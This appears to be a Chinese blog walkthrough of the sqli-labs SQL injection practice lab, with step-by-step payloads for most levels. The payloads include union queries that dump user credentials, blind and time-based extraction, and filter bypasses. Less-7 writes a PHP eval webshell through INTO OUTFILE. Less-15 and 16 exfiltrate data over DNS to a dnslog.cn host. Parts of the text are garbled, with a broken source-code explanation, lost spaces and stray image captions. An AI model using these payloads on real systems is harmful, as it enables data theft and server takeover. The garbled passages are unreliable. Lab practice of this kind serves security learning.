sqli-labs通关笔记

什么是sql注入
SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为 称为SQL注入。
代码对带入SQL语句的参数过滤不严格
未启用框架的安全配置,例如: PHP的magic. quotes. _gpc
未使用框架安全的查询方法
测试接未删除
未启用防火墙
未使用其他的安全防护设备

1.concat(str1,str2,…)——没有分隔符地连接字符串2.concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串3.group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据
Mysql查询经常用到的语句
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema=库名
查列:select column_name from information_schema.columns where table_name=表名
查数据:select 列名 from 库名.表名

sql注入简单三步骤
第一:输入ID的值使页面不发生变化
第二:输入一些特殊字符使得页面报错
第三:要让页面不报错

Less-1

http://localhost/sql/Less-1/?id=1’
sqli-labs通关笔记上述错误当中,我们可以看到提交到sql中的1’在经过sql语句构造后形成’1’'LIMIT0,1,多加了一个’。这种方式就是从错误信息,那我们接下来想如何将多余的‘去掉呢?尝试‘or1=1–+
此时构造的sql语句就成了Select******whereid='1’or1=1–+'LIMIT0,1
sqli-labs通关笔记Mysql注入—sqlilabs—lcamry11此时构造的sql语句就成了Select*****whereid='1’or1=1–+'LIMIT0,1可以看到正常返回数据。此处可以利用orderby。Orderby对前面的数据进行排序,这里有三列数据,我们就只能用order by 3,超过3就会报错。‘order by 4–+的结果显示结果超出
sqli-labs通关笔记最后从源代码中分析下为什么会造成注入?Sql语句为 s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = ′ sql="SELECT*FROMusersWHEREid=' sql="SELECTFROMusersWHEREid=id’LIMIT0,1";Id参数在拼接sql语句时,未对id进行任何的过滤等操作,所以当提交‘or1=1–+,直接构造的sql语句就是SELECT
FROMusersWHEREid=’1’or1=1–+LIMIT0,1这条语句因or1=1所以为永恒真。
输入一下语句查询出当前数据库,和库里面的所有的表

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+ 

sqli-labs通关笔记查出users表里面所有列,
有 id ,username,password列

?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+ 

sqli-labs通关笔记查看里面的数据

?id=-1' union select 1,database(),group_concat(concat_ws("@",'username','password')) from security.users --+ 
sqli-labs通关笔记

Less-2

将’(单引号)添加到数字中,没有闭合方式
所以这里的奇数个单引号破坏了查询,导致抛出错误。因此我们得出的结果是,查询代码使用了整数。
sqli-labs通关笔记页面回显正常
sqli-labs通关笔记查看到当前数据库和用户
sqli-labs通关笔记

Less-3

输入单引号后发现页面报错,并且出现了一个括号
可以判定是个 ’ (单引号 ) 和 )(左括号) 的闭合方式
sqli-labs通关笔记查看到数据库和用户
sqli-labs通关笔记

Less-4

是一个双引号和右括号的闭合方式
字段数为3的
sqli-labs通关笔记

Less-5——基于’盲注

页面自出现两种结果,要么报错,要么不报错,所以这是一道盲注题
sqli-labs通关笔记经过测试,是一道布尔盲注,闭合方式是单引号闭合
判断当前数据库长度为8 length(database())=8
sqli-labs通关笔记
ascii(substr(database(),1,1))=115 当=115的时候页面回显正常
substr(a,b,c)从b位置开始,截取字符串a的c长度。ascii()将某个字符转换为ascii值
sqli-labs通关笔记用burpsurite进行爆破
设置好参数进行破解
sqli-labs通关笔记sqli-labs通关笔记sqli-labs通关笔记设置好参数后可进行爆破
sqli-labs通关笔记也可以用报错的方式进行注入
接下来就是获取表名,就不一一进行爆破了,
先获取表数量
and (select count() from information_schema.tables where table_schema=database())>5
再用limit依次获取每个表名的长度
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5,
最后获取每个表名的名字
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97
获取列名
先获取列名个数
and (select count(
) from information_schema.columns where table_name=‘users’ and table_schema=database())>5,
再获取列名长度
and (select length(column_name) from information_schema.columns where table_name='users’ and table_schema=database() limit 0,1)>5,
最后获取列名
and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit 0,1),1,1))>97
获取数据
先确定第一个用户名长度
and (select length(username) from users limit 0,1)>5
and (select length(列名) from 库名.表名 limit 0,1)=11–+
再确定用户名每一个字符的对应字母
and ascii(substr((select username from users limit 0,1),1,1))>97
and ascii(substr((select 列名 from 库名.表名 limit 0,1),1,1))=97

Less-6——基于"字符型的错误回显注入

是一道双引号闭合的布尔盲注,这里就不一一讲解了
sqli-labs通关笔记

Less-7——文件读写注入

判断闭合
测试发现id=1’报错,但把后面的语句注释掉扔报错,还有括号闭合,发现加两个括号判断为((’$id’))闭合。根据提示Use outfile…,应该是具有导出什么的了。
直接写入shell,用蚁剑连接即可

?id=-1')) union select 1,2,'<?php eval($_POST["cmd"]);?>' into outfile "D:\phpstudy\PHPTutorial\WWW\sql\Less-7\shell.php"--+ 
sqli-labs通关笔记页面虽然报错,但已成功写入文件
sqli-labs通关笔记若是写入不成功,添加这行代码 secure_file_priv=
sqli-labs通关笔记添加到mysqld下面
sqli-labs通关笔记

Less-8——基于’的盲注

这是一道单引号闭合的盲注,可以参考less-5用burpsuite爆破

Less-9——基于’的时间盲注

sleep() //延迟函数
if(condition,true,false) //条件语句
测试?id=1’ and sleep(5) --+ 页面会延时5秒再回显,判断为时间盲注
参考less-5的步骤
sqli-labs通关笔记顺序对应ascii表对照就可以了
id=1’ and if((ascii(substr(database(),1,1))>1),sleep(3),1) --+ 爆出当前数据库
sqli-labs通关笔记爆库里面的第一个表
1’ and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1),sleep(3),1) --+
sqli-labs通关笔记

Less-10基于"的时间盲注

是一道双引号的时间输入,和上面的操作一样即可

Less-11基于’的POST型注入

登录后,抓包
在uname、输入单引号后发现页面报错,可以判断是个单引号的闭合方式
sqli-labs通关笔记字段数为2列,然后就可以用联合查询了
sqli-labs通关笔记

Less-12——基于")的POST型注入

是一道上引号加左括号的闭合方式,字段书为2
sqli-labs通关笔记

Less-13——基于’)的错误回显注入

单引号左括号的闭合方式,用报错注入
sqli-labs通关笔记

Less-14——基于"的错误回显注入

双引号的闭合方式,在利用报错注入
sqli-labs通关笔记

Less-15——基于’的POST型注入(利用dns回显)

申请临时dns http://dnslog.cn/
sqli-labs通关笔记
利用dns回显
抓包输入sql语句,dns是自己临时申请的

and if((select load_file(concat('\\',(select version()),'.eqnt6l.dnslog.cn'))),1,1) --+  
sqli-labs通关笔记刷新页面,就看到当前数据库版本
sqli-labs通关笔记

Less-16基于")的POST型注入(利用dns回显)

admin") and if((select load_file(concat(’\’,(select database()),’.8cpfmy.dnslog.cnaaa’))),1,1) --+
sqli-labs通关笔记sqli-labs通关笔记

Less-17——基于密码的报错注入

sqli-labs通关笔记

第十八关user-agent注入

闭合方式 ’ and 1=1 and’
知道闭合方式后利用报错注入
sqli-labs通关笔记

第十九关referer注入

在referer这里输入单引号后发现页面出现报错
sqli-labs通关笔记闭合方式 ’ and 1=1 and ’
sqli-labs通关笔记用报错函数,直接可以查看到数据库当前版本
sqli-labs通关笔记

第二十关cookie注入

在cookie这里输入单引号发现页面报错,可以判断是cookie注入
sqli-labs通关笔记用updatexml报错注入
sqli-labs通关笔记

第二十一关

这是一道cookie注入,并且数据是经过加密的,当输入admin’用base64加密,页面出现错误,可以判定是个单引号输入方式
sqli-labs通关笔记用base64加密数据在经过提交时,显示当前数据库信息
sqli-labs通关笔记

第二十二关 cookie注入

打开用BP抓,发现admin是经过base加密的
sqli-labs通关笔记所以要想注入,都是要经过加密才可以,经过我的测试,是个双引号闭合方式,uname=后面所有内容都是要经过加密 字段数是三列
-admin" union select 1,database(),3 # base64加密
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLDMgIw==
查到当前数据库
sqli-labs通关笔记

less-23——过滤注释的GET型注入

利用报错的方式进行注入
sqli-labs通关笔记

less-24——二次注入

假设知道有admin用户但是不知道密码
sqli-labs通关笔记首先点击New User click here? 注册admin’ – -用户
sqli-labs通关笔记然后登录该用户修改密码
sqli-labs通关笔记sqli-labs通关笔记
然后再使用admin输入刚才admin’ – -修改的密码
sqli-labs通关笔记登录成功,此时两个账号的密码一样

less-25——过滤or和and的单引号注入

双写or
sqli-labs通关笔记sqli-labs通关笔记

less-26——基于’过滤注释和空格的注入

对于空格,有较多的方法:
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
id=1’and(extractvalue(1,concat(1,concat(select%a0table_name%a0from%a0informatiom_schema.tables%a0where%a0table_schema=database()))))and’1’='1
本人绕过失败,不知道咋回事 求解求解
sqli-labs通关笔记

less-27——基于’过滤union、select与注释和空格的注入

?id=1'or(extractvalue(1,concat(0x7e,(SElEcT%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()))))or'1'='1 

成功绕过
sqli-labs通关笔记

less-28

报错了
sqli-labs通关笔记

less-29 index.php——基于单引号字符型的注入

sqli-labs通关笔记

less-30 index.php——基于双引号字符型的注入

sqli-labs通关笔记

less-30 隐藏关login.php——基于双引号的参数污染绕过

注入语句

id=1&id=-1" union select 1,2,3  

less-31——基于")字符型的注入

sqli-labs通关笔记

less-31 隐藏关login.php——基于")的参数污染绕过

注入语句:

id=1&id=-1") union select 1,2,3 

Less-32 宽字节注入

正常思路 输入’ " 等等一些特殊符号
sqli-labs通关笔记输入单引号之后出现了转义,把单引号转义成’,所以要用GBK编码 %df’
sqli-labs通关笔记字段数为3列,然后使用联合查询就可以了
sqli-labs通关笔记查询条件时要用单引号括这,如何直接用GBK转码是不行,所以要用十六进制
sqli-labs通关笔记

Less-33

这关和上一关操作一样
sqli-labs通关笔记

Less-34

和上一关类似,也是宽字节注入,要利用抓包,查到当前数据库,然后直接带入公司就可以了,
sqli-labs通关笔记

Less-35

id 没有被’ “符号包括起来,所以直接提交payload,后面跟上面方式一样了
sqli-labs通关笔记

Less-36

这一关特殊字符都被过滤了,输入什么都没有回显,可以直接用GBK编码尝试,尝试之后发现和上面的注入方式一样
sqli-labs通关笔记

第Less-37

直接在数据包里面修改数据即可
sqli-labs通关笔记

版权声明:玥玥 发表于 2021-04-06 18:07:27。
转载请注明:sqli-labs通关笔记 | 女黑客导航